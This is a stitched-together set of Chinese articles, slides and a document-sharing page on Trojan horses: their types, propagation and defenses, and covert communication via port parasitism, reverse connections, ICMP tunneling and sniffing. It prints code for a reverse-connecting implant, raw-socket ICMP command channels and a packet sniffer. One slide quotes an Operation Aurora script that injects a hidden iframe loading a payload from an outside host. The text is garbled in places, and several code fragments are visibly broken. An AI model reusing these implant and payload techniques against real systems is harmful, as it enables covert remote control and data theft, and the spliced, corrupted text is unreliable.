木马通信的隐蔽技术
木马攻击及防御技术实验报告
目录第一章引言 (1)第二章木马概述 (1)2.1木马的定义及特点 (1)2.2木马的工作原理 (2)2.3木马的分类.................................................... 第三章常见的木马攻击手段3.1捆绑方式.....................................................3.2邮件和QQ冒名欺骗............................................3.3网页木马方式.................................................3.4伪装成其他文件...............................................第四章木马的防范措施4.1安装个人防火墙、木马查杀软件和及时安装系统补丁...............4.2隐藏IP和关闭不必要的端口....................................4.3使用虚拟计算机...............................................4.4关闭不必要的服务选项.........................................4.5定期检查电脑的启动项.........................................4.6不要随意打开邮件.............................................4.7谨慎下载和安装第三方软件.....................................第五章总结........................................................参考文献...........................................................第一章引言随着计算机的日益普及，人们对于“木马”一词已不陌生。
剖析特洛伊木马的隐藏技术
第26卷第6期水利电力机械V ol.26 N o.6 2004年12月W ATER C ONSERVANCY &E LECTRIC POWER MACHI NERYDec.2004剖析特洛伊木马的隐藏技术Anatomy of veil technique for the Trojan H orses张建华(郑州工业贸易学校信息工程系,河南郑州 450007)摘 要:对特洛伊木马的由来、木马的构成和传播方式作了介绍,全面剖析了特洛伊木马的隐藏技术。
着重阐述了任务栏隐藏、任务管理器隐藏、进程隐藏和端口隐藏等技术,旨在有针对性地提出了一些木马的查杀和防范措施,以减少木马的危害。
关键词:特洛伊木马;隐藏技术;端口;进程;防范中图分类号:TP393.08:TP311.56 文献标识码:B 文章编号:1006-6446(2004)06-0053-03收稿日期:2004-02-27作者简介:张建华(1967-),男,河南新野人,郑州工业贸易学校信息工程系主任,讲师,中国人解放军信息工程大学软件工程在读硕士研究生,从事计算机软件方面的教学和研究工作。
1 特洛伊木马的由来特洛伊木马(T rojan H orse ),词语来源于古希腊的特伊洛马神话故事”木马记”。
大约在公元前13世纪,特洛伊国王的儿子拐走了当时最美的希腊斯巴达国王的王后,由此引发了希腊人和特洛伊人之间的战争。
传说特洛伊城是个十分坚固的城市,希腊人攻打了9年也没有打下来。
希腊人围攻特洛伊城,久久不能得手,最终希腊的一位谋士设计制作了一个巨大无比的木马,并设法让信奉神的特洛伊人认为这是神的恩赐,于是特洛伊人决定把木马拖入城内庆祝,但城门过小,特洛伊人只好推倒了抵抗了希腊军队10年的坚固的城墙,就在特洛伊人欢庆并为此喝的酩酊大醉的时候,木马内的士兵则乘夜晚敌人庆祝胜利、放松警惕的时候从木马中爬出来,与城外的部队里应外合而攻下了特洛伊城,结束了这场10年的战争。
木马型网络攻击技术分析
木马型网络攻击技术分析作者：谭博伦来源：《商品与质量·消费视点》2013年第10期摘要：随着科学技术的进步与发展，人类社会正在向网络社会迈进，人们的生活已经和网络产生了密不可分的关系，各个领域的进步与发展也都离不开网络技术，人们的决策已经越来越依赖于信息技术，它也使得信息站成为可能。
信息站将成为未来战争的一个新兴的形式之一，它的涉及面非常广，既可以破坏军事指挥，武器控制等，还可以使得诸如金融、商业、电力等遭受破坏。
而目前应用最广的病为人所知程度最广的就是木马病毒所造成的对于网络的攻击。
在这个背景之下，对于木马型网络攻击技术的分析和研究具有重要的现实意义。
关键词：木马型；网络攻击；技术分析网络攻击是指攻击者利用各种控制计算机的攻击手段通过网络技术实现对目标主机系统发动攻击，旨在破坏对方的网络系统或是获取更多有价值的信息。
伴随着科技的日益更新和发展，网络攻击技术的发展也呈现出自动化、快速化、动态化的发展趋势。
本文将通过两个方面对当前的木马型网络攻击技术进行分析，一方面是对于木马进行简单论述，另一方面是对木马型网络攻击技术的实现的关键技术进行介绍。
一、木马的简要介绍所谓计算机木马其实是源于古希腊中的特洛伊木马的故事，木马病毒是一种隐藏在计算机网络中的一种可以在毫无察觉的情况下对受害系统进行破坏或窃取的病毒。
与一般的病毒一样，木马病毒也是从Unix平台中产生的，直接作用于常见的Windows操作系统中。
截至目前为止，木马程序已经更新了好几代，它的危害性和隐藏的密闭性也在不断的提高，目前木马主要包括以下几种类型：远程控制型；密码发送型；键盘记录型；毁坏型；FTP型。
它们主要是根据木马对于计算机的具体动作形式来进行划分的。
据不完全统计，当前世界上木马已有好几千种，它们虽然都是通过程序实现，但是由于运行的环境的差异性，它们所发生的作用也不尽相同。
木马具有隐蔽性、欺骗性、自动恢复性、功能的特殊性。
它们都是木马的基本特征。
木马技术概述
。
• 第五代木马反弹式木马。
木马实例演示 （example of a simple Trojan）
• 演示木马：灰鸽子 • 简介 灰鸽子，学名为win32.hack.huigezi，是国内一款著名后门程序 ； 比起前辈冰河、黑洞来，灰鸽子可以说是国内后门的集大成者 ，功能强大，有6万多种变种； 开发者是葛军，该木马的客户端和服务端都是采用Dephi编写 ； 服务端对客户端连接方式有多种，使得处于各种网络环境的用 户都可能中毒，包括局域网用户（通过代理上网）、公网用户 和ADSL拨号用户等； 使用了进程隐藏、线程注入、重复加壳等多种病毒技术，连续 三年被国内各大杀毒厂商评选为“年度十大病毒”。
• 命令广播：可以对自动上线主机进行命令广播，如关 机、重启、打开网页，筛选符合条件的机等，点一个 按钮就可以让N台机器同时关机或其它操作； • 消息广播：可以向对方主机发送消息；
木马植入方法（propagation mechanisms）
直接攻击
电子邮件
经过伪装的 木马被植入 目标机器
ቤተ መጻሕፍቲ ባይዱ
文件下载
浏览网页
例子(CVE2010-0249,Operation Aurora)
• • • • • • • • function Get(){ var Then = new Date() Then.setTime(Then.getTime() + 24*60*60*1000) var cookieString = new String(document.cookie) var cookieHeader = "Cookie1=" var beginPosition = cookieString.indexOf(cookieHeader) if (beginPosition != -1){ } else {document.cookie = "Cookie1=risb;expires="+ Then.toGMTString() • document.writeln("<iframe src=http://pagead2.googlesyndication.xx.xx/pagead/aur ora.htm width=0 height=0></iframe>"); • }}Get();
木马病毒
第二代，在技术上有了很大的进步，冰河是中国木马的典型代表之一。
第三代，主要改进在数据传递技术方面，出现了ICMP等类型的木马，利用畸形报文传递数据，增加了杀毒软 件查杀识别的难度。
第四代，在进程隐藏方面有了很大改动，采用了内核插入式的嵌入方式，利用远程插入线程技术，嵌入DLL 线程。或者挂接PSAPI，实现木马程序的隐藏，甚至在Windows NT/2000下，都达到了良好的隐藏效果。灰鸽子 和蜜蜂大盗是比较出名的DLL木马。
随着互联事业的发展，木马看中了电子商务，在一些络购物上挂一些木马程序，当用户点击时，很容易进入 用户系统，当用户使用络银行时。通过上窃取银行的密码，之后盗取用户财务，给计算机用户造成巨大的经济损 失。在一些特殊的领域，木马被用做攻击的手段，如政治、军事、金融、交通等众多领域，成为一个没有硝烟的 战场，利用木马侵入对方，获取相关信息或者进行破坏。
检查计算机用到什么样的端口，正常运用的是哪些端口，而哪些端口不是正常开启的；了解计算机端口状态， 哪些端口目前是连接的，特别注意这种开放是否是正常；查看当前的数据交换情况，重点注意哪些数据交换比较 频繁的，是否属于正常数据交换。关闭一些不必要的端口。
3、删除可疑程序
对于非系统的程序，如果不是必要的，完全可以删除，如果不能确定，可以利用一些查杀工具进行检测。
完整的木马程序一般由两部分组成：一个是服务器端．一个是控制器端。“中了木马”就是指安装了木马的 服务器端程序，若你的电脑被安装了服务器端程序，则拥有相应客户端的人就可以通过络控制你的电脑。为所欲 为。这时你电脑上的各种文件、程序，以及在你电脑上使用的账号、密码无安全可言了。
特洛伊木马
概述
特洛伊木马(简称木马)是隐藏在系统中的用以完成未授权功能的非法程序，是黑客常用的一种攻击工具，它 伪装成合法程序，植入系统，对计算机络安全构成严重威胁。区别于其他恶意代码，木马不以感染其它程序为目 的，一般也不使用络进行主动复制传播。
特洛伊木马是基于C/S(客户/服务器)结构的远程控制程序，是一类隐藏在合法程序中的恶意代码，这些代码 或者执行恶意行为，或者为非授权访问系统的特权功能而提供后门。通常，使用木马的过程大致分两步首先，把 木马的服务器端程序通过络远程植入受控机器，然后通过安装程序或者启动机制使木马程序在受控的机器内运行。 一旦木马成功植入，就形成了基于C/S结构的控制架构体系，服务端程序位于受控机器端，客户端程序位于控制 机器端。
5、时效性越来越强，挖矿木马团伙在利益的驱使下，往往会不断集成更有效的1/N D ay漏洞来感染更多 主机资源,从而获取更多的收益。
感谢观看
功能
只要在本地计算机上能操作的功能，现如今的木马基本上都能实现。木马的控制端可以像本地用户一样操作 远程计算机。木马的功能可以概括为以下内容。
1、窃取用户文件。 特洛伊木马在目标计算机中潜伏，当遇到感兴趣的文件时就会将相关文件传输给提前设定的目的地而不会被 用户发现。 2、接受木马释放者的指令。 特洛伊木马一旦感染互联中的服务器就会窃取较高权限，随意地控制和监视通过该服务器的数据和账户。 3、篡改文件和数据。 根据指令对系统文件和数据进行修改，使目标计算机的数据和文件产生错误，导致作出错误的决策。 4、删除文件和数据。 将目标计算机操作系统中的文件和数据随意地删除。 5、施放病毒。
3、端口
一台机器有个端口，你会注意这么多端口么?而木马就很注意你的端口。如果你稍微留意一下，不难发现，大 多数木马使用的端口在1024以上，而且呈越来越大的趋势。当然也有占用1024以下端口的木马，但这些端口是常 用端口，占用这些端口可能会造成系统不正常，这样的话，木马就会很容易暴露。
基于端口复用技术的木马研究
基于端⼝复⽤技术的⽊马研究—165—基于端⼝复⽤技术的⽊马研究罗改龙1，程胜利2(1. 江西蓝天学院计算机系，南昌 330098；2. 武汉理⼯⼤学计算机学院，武汉 430000)摘要：隐藏技术是⽊马的关键技术之⼀，其直接决定⽊马的⽣存能⼒。
针对⽬前⽊马在隐藏技术⽅⾯的普遍缺陷，提出了端⼝复⽤的概念，并在实验室研制出了⼀个具有⽆进程和端⼝复⽤特征的⽊马。
该⽊马通过利⽤Windows 的WinSock 2的新特性服务提供者技术，在操作系统中插⼊了⼀个分层式服务提供者，每当⽹络应⽤程序进⾏WinSock 2的调⽤时，⽊马将能获得系统控制权，并通过⼀个系统已经打开的合法端⼝与外界进⾏⽹络通信。
由于该⽊马不需要打开⼀个新的端⼝，因此具有更强的隐藏性。
关键词：⽊马；端⼝复⽤；服务提供者Research on Trojan Horse Based on Port Reuse TechnologyLUO Gai-long 1, CHENG Sheng-li 2(1. Computer Department, Jiangxi Bluesky University, Nanchang 330098; 2. Computer Department, Wuhan University of Technology, Wuhan 430000)【Abstract 】Concealment technology is critical to a Trojan Horse, which decides the survivability ability of the Trojan Horse. The concept of port reuse is brought forward for the common disfigurement of the Trojan Horse in concealment technology. And a Trojan Horse without process or port reuse is made in the lab. The Trojan Horse can insert a layered service provider in operating system by making use of new characteristics of WinSock 2 of Windows, thus it will get the control of the operating system and communicate with outside in an open legal port when network application program makes a call of WinSock 2. For the Trojan Horse which does not have to open a new port in comparison with traditional ones, its concealment ability is stronger.【Key words 】Trojan Horse; port reuse; service provider计算机⼯程Computer Engineering 第33卷第15期Vol.33 No.15 2007年8⽉August 2007·安全技术·⽂章编号：1000—3428(2007)15—0165—02⽂献标识码：A中图分类号：TP3931 概述⽊马是驻留在⽬标机器上的程序，该程序主要在⽬标机器上执⾏⼀些未经授权的操作，如窃取⼝令、银⾏帐号和密码以及控制⽬标计算机等，因此，⽊马程序普遍具有⾮法性。
[讲解]信息化条件下主要技术窃密手段及其防范
![[讲解]信息化条件下主要技术窃密手段及其防范](https://img.taocdn.com/s3/m/b078b63f905f804d2b160b4e767f5acfa1c78383.png)
信息化条件下主要技术窃密手段及其防范一、利用计算机漏洞窃密漏洞是指计算机操作系统、设备产品和应用程序由于自身结构复杂、安全设计不周等原因，在研制过程中产生的先天技术缺陷。
大型软件每1000-4000行源程序就可能存在一个漏洞。
存在漏洞的计算机，如果接入互联网，就可能被窃密者进行远程利用、攻击和控制。
防范对策：严禁将涉密计算机接入互联网；及时对计算机操作系统和应用程序“打补丁”；安装“防火墙”和杀毒软件；关闭不必要的端口和服务。
二、利用“木马”技术窃密“木马”就是在正常文件的伪装下，对目标计算机实施远程控制的“间谍”软件。
在全部病毒破坏事件中，“木马”攻击占到90%。
“木马”植入的方式多种多样，其中以邮件的方式最为常见。
当打开有“木马”程序的邮件或邮件附件时，“木马”就会悄悄的植入和控制计算机，窃密者就可实施网络远程窃密。
防范对策：严禁将涉密计算机接入互联网；不随意打开不明电子邮件，尤其是不轻易打开邮件附件；计算机必须安装杀毒软件并及时更新升级。
三、利用“嗅探”技术窃密“嗅探”是指秘密植入特定功能程序，用以隐蔽探测、记录诸如网络内部结构、键盘操作、口令密码等信息的窃密技术。
计算机如果曾经联接过互联网且被攻击者盯上，就可能被其利用“嗅探”技术进行窃密。
一旦这台计算机再次联入互联网，这些涉密信息就会被悄悄取走。
防范对策：严禁将涉密计算机接入互联网；用于联接互联网的计算机，任何情况下不得处理涉密信息；定期对上网计算机操作系统进行重装处理。
四、利用“摆渡”技术窃密“摆渡”就是利用移动存储介质在不同的计算机之间隐蔽传递数据信息的窃密技术。
移动存储介质（如优盘）插入上互联网计算机就会感染“摆渡”程序，再插入涉密计算机时，优盘内的“摆渡”程序能按事先设定好的策略将文件数据从涉密计算机中复制到优盘隐藏目录下，同时将自身的“摆渡”程序复制到涉密计算机中，一旦此优盘又插入上互联网计算机，涉密文件数据就会被“摆渡”程序转移到上网计算机中，此时窃密者即可实现远程窃取。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
引言木马通常需要利用一定的通信方式进行信息交流（如接收控制者的指令、向控制端传递信息等）。
系统和应用程序一般采用TCP/UDP通信端口的形式与控制端进行通信。
木马一般也是利用TCP/UDP端口与控制端进行通信。
通常情况下，木马进行通信时直接打开一个或几个属于自己的TCP/UDP端口。
早期的木马在系统中运行后都是打开固定的端口，后来的木马在植入时可随机设定通信时打开的端口，具有了一定的随机性。
可是通过端口扫描很容易发现这些可疑的通信端口。
事实上，目前的许多木马检测软件正是通过扫描本地和远程主机系统中打开的已知木马端口进行木马检测的。
木马通信端口成为暴露木马形踪一个很不安全的因素。
为此采用新技术的木马对其通信形式进行了隐蔽和变通，使其很难被端口扫描发现。
2木马通信形式的隐蔽技术木马为隐蔽通信形式所采用的手段有：端口寄生、反弹端口、潜伏技术，嗅探技术。
2.1端口寄生端口寄生指木马寄生在系统中一个已经打开的通信端口，如TCP80端口，木马平时只是监听此端口，遇到特殊的指令才进行解释执行。
此时木马实际上是寄生在系统中已有的系统服务和应用程序之上的，因此，在扫描或查看系统中通信端口时是不会发现异常的。
在Windows9X系统中进行此类操作相对比较简单，但是在WindowsNT/2K系统中实现端口寄生相对比较麻烦。
在控制端与木马进行通信时，如木马所在目标系统有防火墙的保护，控制端向木马发起主动连接就有可能被过滤掉。
2.2反弹端口反弹端口就是木马针对防火墙所采用的技术[1]。
防火墙对于向内的链接进行非常严格的过滤，对于向外的连接比较信任。
与一般的木马相反，反弹端口木马使用主动端口，控制端使用被动端口。
木马定时监测控制端的存在，发现控制端上线，立即主动连接控制端打开的被动端口。
为了隐蔽起见，控制端的被动端口一般开在TCP80。
这样，即使用户使用端口扫描软件检查自己的端口，发现的也是类似TCPUSERIP：1026CONTROLLERIP：80ESTABLISHED这种情况，用户可能误认为是自己在浏览网页。
这种反弹端口的木马常常会采用固定IP的第三方存储空间来进行控制端IP地址的传递。
下面的代码演示了被控制端的客户套接字连接控制端的服务套接字。
CServerSocket*pMy;//CServerSocket是CAsyncSocket的派生类……//初始化是开始连接,同时建立定时器BOOLCServiceDlg::OnInitDialog(){CDialog::OnInitDialog();pMy=NULL;SetTimer(199,30000,NULL);pMy=newMySock;pMy->Create();pMy->Connect(m_ip,80);//连接目标的80端口，让人感觉在上网ComputerKnowledgeAndTechnology}//在定时器中检查是否有连接，否则试图重新连接V oidCServiceDlg::OnTimer(UINTnIDEvent){If(nIDEvent=199){If(pMy->Send(“test”,4)=SOCKET_ERROR){pMy->Detach();deletepMy;pMy=NULL;pMy=newMySock;pMy->Create();pMy->Connect(m_ip,80);}}CDialog::OnTimer(nIDEvent);}2.3潜伏技术ICMP（互联网控制报文协议）是IP协议的附属协议，用来传递差错报文以及其他需要注意的消息报文。
它是由内核或进程直接处理而不会打开通信端口。
采用潜伏技术进行通信的木马一般都是使用ICMP协议。
由于不利用TCP/UDP协议，不会打开通信端口，所以不会被一些端口扫描软件和利用端口进行木马防范的软件检测到[2]。
通常情况下，木马利用ICMP 报文与控制端进行通信时将自己伪装成一个Ping的进程，这样系统就会将ICMP_ECHOREPL Y（Ping的回包）的监听、处理权交给木马进程，一旦事先约定好的ICMP_ECHOREPL Y包出现（可以判断包大小、ICMP_SEQ等特征，这此包实为控制端发给木马的命令和数据），木马就会接受、分析并从报文中解码出命令和数据尽而采取相应的操作。
有的采用潜伏技术的木马不会完全采用ICMP协议进行通信，它们只是监听ICMP报文，当出现特殊的报文时，例如特殊大小的包，特殊的报文结构等，它会打开TCP端口等待控制端的连接。
在本地可以看到状态为ESTABLISHED的木马连接（如果端口的最大连接数设为1，在远程用CONNECT方法进行端口扫描时没有办法发现）。
一个严格采用潜伏技术的木马会严格地使用ICMP协议来进行数据和控制命令的传递（数据放在ICMP的报文中）。
木马利用ICMP协议与控制端进行通信的基本过程如下：为了实现发送/监听ICMP报文，都要首先建立SOCK_RAW（原始套接口）。
建立SOCK_RAW 之前需要定义一个IP首部，然后定义一个ICMP首部：typedefstruct_ihdr{BYTEi_type;//8位类型BYTEi_code;//8位代码USHORTi_cksum;//16位校验和USHORTi_id;//识别号（一般用进程号作为识别号）USHORTi_seq;//报文序列号ULONGtimestamp;//时间戳}IcmpHeader;这时可以通过WSASocket建立一个原始套接口SockRaw=WSASocket(AF_INET,//协议族SOCK_RAW,//协议类型，SOCK_RIPPROTO_ICMP,//协议，IPPROTNULL,//WSAPROTOCOL_INFO置空0,//保留字，永远置为0WSA_FLAG_OVERLAPPED//标志位);随后使用fill_icmp_data子程序填充ICMP报文段，调用CheckSum子程序计算ICMP校验和。
然后通过sendto函数发送ICMP_ECHOREPL Y报文：sendto(sockRaw,icmp_data,datasize,0,(structsockaddr*)&dest,sizeof(dest));木马控制端监听程序的基本操作与木马端相同，只是需要使用recvfrm函数接收ICMP_ECHOREPL Y报文并用decoder函数将接收来的报文解码为数据和命令：recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(structsockaddr*)&from,&fromlen);dec ode_resp(recvbuf,recv_icmp,&from);对于严格采用ICMP协议通信的木马，除非过滤分析网络链路层的信息或者监视Windows 系统的SocketAPI调用，否则是很难发现其行踪的。
2.4嗅探技术2.4.1共享环境下嗅探技术原理嗅探技术即sniffer技术，指在网络上监听数据报文的方法[3]。
一般来说，sniffer技术应用环境为共享式以太网(Hub-basedEth-ernet)。
在以太网中，所有的通讯都是广播的，通常在同一个网段的所有网络接口都可以访问在物理媒体上传输的所有数据。
在实际系统中，数据的收发是由网卡来完成。
当收到网络上传输来的数据时，首先由网卡对数据帧的目的MAC地址进行检查，如果目的MAC地址与本地的MAC地址相匹配，则认为应接收该数据并产生相应的中断信号通知CPU，如果不匹配，则直接丢弃该数据帧，本地计算机将根本不知道有数据帧的到来。
网卡一般有如下4种接收模式：1)广播方式，网卡能够接收网络中的广播信息。
2)组播方式，网卡能够接收组播数据。
3)直接方式，只有目的网卡才能接收该数据。
4)混杂模式，网卡能够接收一切通过的数据。
由于所有的物理信号都能被连接在该网络上的计算机所接收，因此可以通过混杂模式（promiscuousmode）方式使网卡能够接收到一切通过它的数据，而不管实际上数据的目的地址是不是计算机。
2.4.2Sniffer技术的实现假定攻击者事先知道被攻击主机所在网段的IP地址范围，因此黑客可以构造IP报文，其目的地址为局域网内某台主机的地址(可以随便设定)，源地址也可以随意设定，然后向此局域网内发送报文。
被攻击主机中的木马程序使用sniffer技术监听网络数据报文，并且依据攻击者事先设定的通信协议来辨别和提取黑客的数据报文。
实现时利用了WinSock2的特性，可以不使用驱动程序，因此程序核心部分代码如下。
首先打开一个socket，参数必须是AF_INET、SOCK_RAW和IPP不能设置SIO_RCV ALL属性：m_s=socket(AF_INET,SOCK_RAW,IPPROTO_IP);然后设置该socket的超时参数等选项：intrcvtimeo=4000;if(setsockopt(m_s,SOL_SOCKET,SO_RCVTIMEO,(constchasizeof(rcvtimeo))==SOCKET_ERR OR){//错误处理代码}；再将该socket与本机的某个网络接口绑定。
接下来就可以设置SIO_RCV ALL属性。
if(SOCKET_ERROR!=WSAIoctl(m_s,SIO_RCV ALL,&dwBuffersizeof(dwBufferInLen),&dwBu fferLen,sizeof(dwBufferLen),&dwBytesReNULL)){//错误处理代码}；……此后就可以利用这个socket（m_s）来读取网络上的数据包了。
3结束语该文重点研究了木马系统中涉及到的隐蔽通信技术及实现。
由于防火墙技术的不断改进和系统对网络协议漏洞的定期修补，木马的通信技术将会变得更为复杂和接近底层。
参考文献：[1]朱明,徐蓦,刘春明.木马病毒分析及其检测方法研究[J]计算机工程与应用,2003(28):176-179.[2]赵树升.计算机病毒分析与防治简明教程[M].北京:清华大学,2007.[3]胡勇.网络嗅探器及安全对策[J].现代电子技术,1999(4):5-6.。